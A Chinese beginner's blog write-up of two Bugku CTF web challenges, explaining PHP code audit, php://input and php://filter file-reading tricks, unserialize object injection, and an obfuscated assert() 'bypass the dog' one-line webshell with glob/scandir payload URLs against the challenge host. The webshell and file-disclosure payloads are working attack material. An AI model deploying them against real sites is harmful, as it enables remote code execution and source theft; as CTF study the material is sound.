web学习05Day

                                             我要成为web🐕

welcome to bugkuctf
这个题很不错
不多说
还是大佬文章
我现在只能跟着大佬走

BUGKU welcome to bugkuctf

考点:
1 php的代码审计,
2 php的伪协议,
3 php的序列化,
4 php魔术方法。
在这里插入图片描述有时候php代码看不懂:
php代码查询地址
一 。。代码审计完后:
1.isset — 检测变量是否已设置并且非 NULL
也就是变量有没有值(个人理解)
2.file_get_contents — 将整个文件读入一个字符串
就是
将文件的内容读入到一个字符串中的首选方法。
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
二。。 php的伪协议
**file_get_contents($user,‘r’)**现在看见它我就要想到php伪协议

 file_get_contents($user,'r')这个函数的意思是将$user这个文件的内容写到字符串里去,就是说$uesr文件里的内容会变成一个字符串。

那么现在我们要考虑的是怎么让$uesr这个文件的内容读取出来就是我们想要的"welcome to the bugkuctf"
这里就涉及到一个php伪协议;
php://input可以直接把post的内容当成直接“文件”的内容!
就是php://input,它的大概意思就是可以读取我们post传递的数据.
大佬文章里有php://input具体讲解
算了我给出来了:
谈一谈php://input和php://output
所有file_get_contents()函数里面放的不止文件名哦,还可以放php的伪协议。知道这个我们就可以想让文件的内容是什么就是什么了。解释:
php伪协议里php://input当作“文件”输入。当读取它的内容时它的内容是空的,那怎么增加它的内容呢?它有一个特性,就是它可以把post请求的内容当成自己的内容。所以直接post即可!内容是可以随意变的!
在这里插入图片描述

include()语句包含并运行指定文件。
include($file)是动态读取文件名,然后又提示我们hint.php
现在就是包含你输入的这个file文件,并且运行它。!
输入hint.php
没有得到重要信息

这时候要用的第二个php伪协议。
file=php:可以直接获取某个文件的源代码!
php://filter 这个协议现在我只知道可以用来读取网页base64编码后的源代码。用这句 file=php://filter/read=convert.base64-encode/resource=hint.php

这个我之前也在别的题见过
通过这个加可以得到hint.php这个网页的base64编码后的源代码了。
再解码即可获取源代码!

在这里插入图片描述感觉没啥用呀
大佬说再看看index.php的源代码

index.php,因为这个一般是主页文件
在这里插入图片描述提示有flag.php
那要怎么做呢
三。。php的序列化:

序列化:将变量转换为可保存或传输的字符串的过程。
反序列化:在适当的的时候把这个字符串再转化成原来的变量使用。

优点:

存储和传输数据更方便,使程序维护性更高。

反正我试了试必须先有序列化后才有反序列化。
不然会有错误

 
 <?php
$a="aaaa";
echo $a,"</br>";

$a=serialize($a);//字符序列化
echo $a,"</br>";
$a=serialize($a);
echo $a,"</br>";
echo unserialize($a),"<br>";

echo unserialize(unserialize($a));


?>

在这里插入图片描述四。。php魔术方法:
在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利。PHP中的魔术方法通常以__(两个下划线)开始,并且不需要显示的调用而是由某种特定的条件出发。这篇文章简单总结了PHP中提供的魔术方法
。 有两篇文章介绍:
魔术方法
魔术方法

综上所述::
还有大佬带路:
我们可以让password为FLAG类型,并且让FLAG中的file就等于flag.php,这样我们就可以得到flag.php的内容了,不过要记得,前面$password已经进行了反序列化的操作,所以我们要先把它序列化。写一个php脚本吧!

<?php

class FLAG
{
	public $file;
}

	$a=new FLAG();//相当于$password就是这里的$a
	$a->file="flag.php";
	$a=serialize($a);
	print_r($a);


?>

在这里插入图片描述最后给$password赋值即可!
查看源代码!
bp也可以。

啊啊啊啊啊难啊!!!!U•ェ•*U

过狗一句话
先给大佬博客

<?php $poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s'])
 ?>

本题要点:php scandir()函数、assert代码执行漏洞
1 explode() — 使用一个字符串分割另一个字符串
explode ( string $delimiter , string $string [, int $limit ] ) : array
此函数返回由字符串组成的数组,每个元素都是 string 的一个子串,它们被字符串 delimiter 作为边界点分割出来。
简单点就是把string按照delimiter分割成字符串数组!

2 assert():把字符串按照php代码来执行。

所以代码就可以理解为:
首先poc_1以’#'分割成字符串数组,然后再用poc_2把poc_1字符串数组拼接起来。(这里有一点php里的字符串拼接是用.来拼接的表示)
在这里插入图片描述就是字符串拼接是“.”
双引号可以直接识别变量,单引号不行!
接下来$poc_2($_GET['s'])就变成了assert($_GET[‘s’])
存在assert代码执行漏洞

也就是把get到的s数据变成php代码
那有啥用呢:
听大佬带路:
这时候就要想一般答案在某个文件里,
那要怎么找文件呢?
于是用到一个扫描目录的函数

  1. php scandir()函数
    scandir — 列出指定路径中的文件和目录

scandir ( string $directory [, int $sorting_order [, resource
$context ]] ) : array

返回一个 array,包含有 directory 中的文件和目录。

//作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组。
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思

还可以利用print_r(glob("."))–>这是搜索所有文件了
glob — 寻找与模式匹配的文件路径

scandir()列出指定路径中的文件和目录

glob() 函数返回匹配指定模式的文件名或目录
该函数返回一个包含有匹配文件 / 目录的数组。
区别就是 scandir()它输入的是路径
而glob()输入的是文件后缀名 ,也就是 文件类型

还有一点print_r() — 以易于理解的格式打印变量。
就是让人看了通俗易懂

那就可是构造payload吧!

http://123.206.87.240:8010/?s=print_r(glob("."))//直接看全部文件
http://123.206.87.240:8010/?s=print_r(glob("*.txt"))
php语句后的分号’;‘一般加上条理清晰
http://123.206.87.240:8010/?s=print_r(scandir(’./’))//寻找当前目录
./当前路径
。。/上一级
./ .// /的区分
/是根目录,也就是最上一级目录。就是c盘一点进去的目录!
但是这个题现在好像有问题,扫不到文件!
看大佬的wp,输入wp也没有。不知道是我是不是题的问题!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值